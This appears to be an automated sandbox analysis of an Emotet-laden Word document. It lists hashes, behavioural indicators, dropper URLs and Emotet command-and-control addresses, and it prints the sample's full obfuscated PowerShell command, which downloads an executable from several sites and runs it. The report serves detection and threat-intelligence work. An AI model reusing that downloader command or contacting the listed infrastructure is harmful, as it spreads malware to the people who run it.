emotet | a4fdfc91d580edf58e005123b1d53ee4e6f1c58c3d1ebdc2edb6e8ccea2e6f70

Analysis

max time kernel
143s
max time network
149s
platform
windows10_x64
resource
win10v200722
submitted
28/09/2020, 13:56

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General

Target
emotet_e1_a4fdfc91d580edf58e005123b1d53ee4e6f1c58c3d1ebdc2edb6e8ccea2e6f70_2020-09-28__135302706351._doc.doc
Size 176KB
Sample200928-v7mg9ml81a
SHA256 a4fdfc91d580edf58e005123b1d53ee4e6f1c58c3d1ebdc2edb6e8ccea2e6f70
MD5 0a996ed08738ca0fed507a6e976e5e38
SHA1 6e8412f49d7147eb14d22be5469c36dc0ba0a47c
SHA512 b39e4dfabe290e5a8866108fd20053cdcb826d52a44537544fa05d28786e6fafb3765f3b67a90883951aa0087c19f6efe053d1cc4617fd89e4915f6982da00db
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://famousdiagnosticcenter.com/wp-admin/7wX/
exe.dropper
http://www.govtcollegesihunta.com/wp-includes/hX/
exe.dropper
http://jegsnet.com/wp-content/lPr/
exe.dropper
http://fenekformalas.newquantumlogic.com/webstat/G/
exe.dropper
http://helixity-india.com/wp-content/M/
exe.dropper
https://www.buntebenelux.com/wp-admin/cbW/
exe.dropper
http://swso2.com/wp-admin/a/

Extracted

Family

emotet

12.163.208.58:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
192.241.146.84:8080
74.58.215.226:80
199.203.62.165:80
185.94.252.27:443
174.113.69.136:80
46.43.2.95:8080
50.121.220.50:80
192.81.38.31:80
51.38.124.206:80
76.168.54.203:80
51.75.33.127:80
189.2.177.210:443
77.106.157.34:8080
45.33.77.42:8080
178.250.54.208:8080
5.196.35.138:7080
219.92.13.25:80
138.97.60.141:7080
190.190.148.27:8080
95.9.180.128:80
70.116.143.84:80
190.24.243.186:80
68.69.155.181:80
187.162.248.237:80
82.76.111.249:443
202.4.58.197:80
152.169.22.67:80
213.197.182.158:8080
185.232.182.218:80
172.104.169.32:8080
191.182.6.118:80
77.238.212.227:80
216.47.196.104:80
38.88.126.202:8080
155.186.0.121:80
177.74.228.34:80
119.106.216.84:80
51.15.7.145:80
96.227.52.8:443
74.136.144.133:80
45.46.37.97:80
190.115.18.139:8080
201.213.177.139:80
181.129.96.162:8080
5.189.178.202:8080
185.215.227.107:443
137.74.106.111:7080
91.105.94.200:80
83.169.21.32:7080
186.70.127.199:8090
2.36.95.106:80
96.245.123.149:80
186.103.141.250:443
1.226.84.243:8080
185.94.252.12:80
85.214.26.7:8080
87.106.46.107:8080
217.13.106.14:8080
116.202.23.3:8080
65.36.62.20:80
82.230.1.24:80
70.32.84.74:8080
68.183.170.114:8080
190.117.79.209:80
185.178.10.77:80
111.67.12.221:8080
181.30.61.163:443
98.13.75.196:80
70.32.115.157:8080
51.15.7.189:80
170.81.48.2:80
92.24.50.153:80
51.255.165.160:8080
35.143.99.174:80
50.28.51.143:8080
45.16.226.117:443
185.183.16.47:80
149.202.72.142:7080
67.247.242.247:80
104.131.41.185:8080
78.249.119.122:80
202.134.4.210:7080
209.236.123.42:8080
60.93.23.51:80
190.2.31.172:80
94.176.234.118:443
177.129.17.170:443
64.201.88.132:80
188.135.15.49:80
220.109.145.69:80
60.108.144.104:443
123.51.47.18:80
192.241.143.52:8080
212.71.237.140:8080
61.197.92.216:80
12.162.84.2:8080
80.11.164.185:80
45.33.35.74:8080
68.183.190.199:8080
87.106.253.248:8080
177.73.0.98:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3900	684	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3952-15-0x0000000000550000-0x0000000000562000-memory.dmp	emotet
behavioral2/memory/3952-15-0x0000000000550000-0x0000000000562000-memory.dmp	emotet
behavioral2/memory/3952-16-0x0000000000570000-0x0000000000580000-memory.dmp	emotet
behavioral2/memory/3952-16-0x0000000000570000-0x0000000000580000-memory.dmp	emotet
behavioral2/memory/2220-19-0x0000000000480000-0x0000000000492000-memory.dmp	emotet
behavioral2/memory/2220-19-0x0000000000480000-0x0000000000492000-memory.dmp	emotet
behavioral2/memory/2220-20-0x00000000004A0000-0x00000000004B0000-memory.dmp	emotet
behavioral2/memory/2220-20-0x00000000004A0000-0x00000000004B0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
24	3900	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3952	Aa85xqi4.exe
2220	winrscmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dmstyle\winrscmd.exe	Aa85xqi4.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
408	WINWORD.EXE
408	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3900	POwersheLL.exe
3900	POwersheLL.exe
3900	POwersheLL.exe
2220	winrscmd.exe
2220	winrscmd.exe
2220	winrscmd.exe
2220	winrscmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3900	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3900 wrote to memory of 3952	3900	POwersheLL.exe	80
PID 3900 wrote to memory of 3952	3900	POwersheLL.exe	80
PID 3900 wrote to memory of 3952	3900	POwersheLL.exe	80
PID 3952 wrote to memory of 2220	3952	Aa85xqi4.exe	81
PID 3952 wrote to memory of 2220	3952	Aa85xqi4.exe	81
PID 3952 wrote to memory of 2220	3952	Aa85xqi4.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a4fdfc91d580edf58e005123b1d53ee4e6f1c58c3d1ebdc2edb6e8ccea2e6f70_2020-09-28__135302706351._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:408

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABWAHAAbAA1AHQANQAyAD0AKAAoACcARQAnACsAJwA5AGcAdAAnACkAKwAnAGQAJwArACcAbQB1ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVQBTAGUAUgBwAFIAbwBmAEkATABlAFwASABjAHoAZgAyAHYAbgBcAGEAbQAwAGgAMgB3AGQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIAZQBDAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAHUAUgBJAFQAYABZAFAAYABSAG8AVABvAGAAQwBgAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAsACAAdABsACcAKQArACgAJwBzADEAJwArACcAMQAsACcAKQArACcAIAB0ACcAKwAnAGwAcwAnACkAOwAkAFcAawA4AGcAZgBoAF8AIAA9ACAAKAAnAEEAJwArACcAYQAnACsAKAAnADgANQB4ACcAKwAnAHEAJwArACcAaQA0ACcAKQApADsAJABPAG4AaQBoADcAagBpAD0AKAAoACcAUgAnACsAJwBtADIANwAnACkAKwAoACcAZgB6ACcAKwAnAHEAJwApACkAOwAkAEsANABpAG8AdgBmAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBpACcAKwAnADQAZwBIAGMAJwApACsAKAAnAHoAZgAyACcAKwAnAHYAJwApACsAJwBuAGkAJwArACgAJwA0AGcAQQAnACsAJwBtADAAaAAyACcAKQArACgAJwB3AGQAJwArACcAaQA0ACcAKQArACcAZwAnACkAIAAgAC0AQwBSAEUAUABMAGEAYwBFACgAJwBpADQAJwArACcAZwAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQAVwBrADgAZwBmAGgAXwArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFIAMAA0AHAANgB1AHoAPQAoACgAJwBIACcAKwAnAGgAMQAnACkAKwAoACcAMQBrAHYAJwArACcAbwAnACkAKQA7ACQATwBxAG8AegB3ADIAaQA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAHQALgBXAGUAQgBjAGwASQBFAE4AVAA7ACQARABrADgAYQA0AGEAdAA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvACcAKwAnAC8AZgBhAG0AJwApACsAKAAnAG8AJwArACcAdQBzACcAKQArACcAZAAnACsAKAAnAGkAYQAnACsAJwBnAG4AJwApACsAKAAnAG8AcwB0AGkAJwArACcAYwBjAGUAbgB0ACcAKwAnAGUAcgAuAGMAbwAnACkAKwAnAG0ALwAnACsAJwB3AHAAJwArACgAJwAtAGEAZAAnACsAJwBtACcAKQArACgAJwBpAG4ALwAnACsAJwA3ACcAKQArACcAdwBYACcAKwAoACcALwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwB3AHcAJwArACcAdwAuAGcAJwApACsAJwBvACcAKwAoACcAdgB0ACcAKwAnAGMAbwBsACcAKwAnAGwAJwApACsAJwBlAGcAJwArACcAZQBzACcAKwAoACcAaQBoAHUAJwArACcAbgB0ACcAKwAnAGEAJwArACcALgAnACsAJwBjAG8AbQAvAHcAcAAtACcAKQArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACgAJwB1AGQAZQBzAC8AaAAnACsAJwBYAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AagBlACcAKwAnAGcAJwApACsAKAAnAHMAbgAnACsAJwBlAHQALgBjACcAKwAnAG8AbQAvAHcAJwApACsAJwBwACcAKwAnAC0AJwArACcAYwBvACcAKwAoACcAbgB0AGUAbgB0AC8AbAAnACsAJwBQACcAKQArACcAcgAvACcAKwAoACcAKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AJwArACgAJwBmAGUAbgBlAGsAJwArACcAZgBvACcAKwAnAHIAJwApACsAJwBtAGEAJwArACcAbAAnACsAKAAnAGEAcwAnACsAJwAuAG4AZQAnACkAKwAnAHcAJwArACcAcQB1ACcAKwAnAGEAJwArACgAJwBuAHQAJwArACcAdQBtACcAKwAnAGwAbwAnACkAKwAnAGcAaQAnACsAJwBjACcAKwAnAC4AYwAnACsAKAAnAG8AbQAnACsAJwAvACcAKQArACcAdwBlACcAKwAnAGIAJwArACgAJwBzACcAKwAnAHQAYQB0ACcAKQArACgAJwAvAEcAJwArACcALwAnACkAKwAoACcAKgBoAHQAdAAnACsAJwBwADoALwAnACkAKwAnAC8AaAAnACsAKAAnAGUAbABpACcAKwAnAHgAJwArACcAaQB0AHkALQAnACsAJwBpACcAKQArACcAbgAnACsAJwBkACcAKwAnAGkAYQAnACsAJwAuAGMAJwArACcAbwBtACcAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAtAGMAJwArACgAJwBvACcAKwAnAG4AdABlACcAKQArACgAJwBuAHQAJwArACcALwAnACkAKwAoACcATQAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAoACcAcwAnACsAJwA6AC8ALwB3AHcAdwAnACsAJwAuACcAKQArACcAYgB1ACcAKwAnAG4AJwArACgAJwB0AGUAYgAnACsAJwBlAG4AJwArACcAZQAnACkAKwAoACcAbAB1ACcAKwAnAHgALgAnACsAJwBjAG8AJwApACsAJwBtACcAKwAoACcALwAnACsAJwB3AHAALQBhAGQAJwArACcAbQBpAG4ALwAnACkAKwAoACcAYwBiACcAKwAnAFcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdABwACcAKQArACgAJwA6AC8AJwArACcALwBzACcAKQArACgAJwB3AHMAJwArACcAbwAyAC4AJwApACsAKAAnAGMAbwBtAC8AJwArACcAdwAnACsAJwBwAC0AYQBkACcAKQArACgAJwBtAGkAbgAvACcAKwAnAGEALwAnACkAKQAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAHAAXwByAHMANABsAD0AKAAnAFkAbQAnACsAJwBwAF8AJwArACgAJwA1ACcAKwAnADMANgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFYAXwBpAGgANwBsAHcAIABpAG4AIAAkAEQAawA4AGEANABhAHQAKQB7AHQAcgB5AHsAJABPAHEAbwB6AHcAMgBpAC4AIgBkAE8AdwBgAE4ATABPAEEAZABGAGAAaQBMAEUAIgAoACQAVgBfAGkAaAA3AGwAdwAsACAAJABLADQAaQBvAHYAZgBjACkAOwAkAEwAcwA5AHIAcABvAHYAPQAoACcAUgBxACcAKwAnADgAegAnACsAKAAnAHUAJwArACcAdAA4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEsANABpAG8AdgBmAGMAKQAuACIATABlAGAATgBnAFQASAAiACAALQBnAGUAIAAyADEANwA3ADcAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAJwArACcAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAoACQASwA0AGkAbwB2AGYAYwApADsAJABPAG8AMgAxAF8ANQA3AD0AKAAoACcARAAnACsAJwByAHMAZgB6ACcAKQArACcAMAB0ACcAKQA7AGIAcgBlAGEAawA7ACQASgBqADQAeQA4ADMAZAA9ACgAKAAnAEEAJwArACcANABjADgAJwApACsAJwB4AGYAJwArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAYgBrAG4AZAB4AHEAPQAoACcAQgAnACsAKAAnADUAawA5ACcAKwAnAGQANQAnACkAKwAnAF8AJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3900
- C:\Users\Admin\Hczf2vn\Am0h2wd\Aa85xqi4.exe
  "C:\Users\Admin\Hczf2vn\Am0h2wd\Aa85xqi4.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3952
- - C:\Windows\SysWOW64\dmstyle\winrscmd.exe
    "C:\Windows\SysWOW64\dmstyle\winrscmd.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/408-5-0x0000014BC89C5000-0x0000014BC89CB000-memory.dmp

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memory/408-0-0x00007FF9D72B0000-0x00007FF9D7976000-memory.dmp

Download

memory/2220-20-0x00000000004A0000-0x00000000004B0000-memory.dmp

Download

memory/2220-19-0x0000000000480000-0x0000000000492000-memory.dmp

Download

memory/3900-10-0x000001847A890000-0x000001847A891000-memory.dmp

Download

memory/3900-11-0x000001847AA40000-0x000001847AA41000-memory.dmp

Download

memory/3900-9-0x00007FF9CFCA0000-0x00007FF9D068C000-memory.dmp

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memory/3952-16-0x0000000000570000-0x0000000000580000-memory.dmp

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memory/3952-15-0x0000000000550000-0x0000000000562000-memory.dmp

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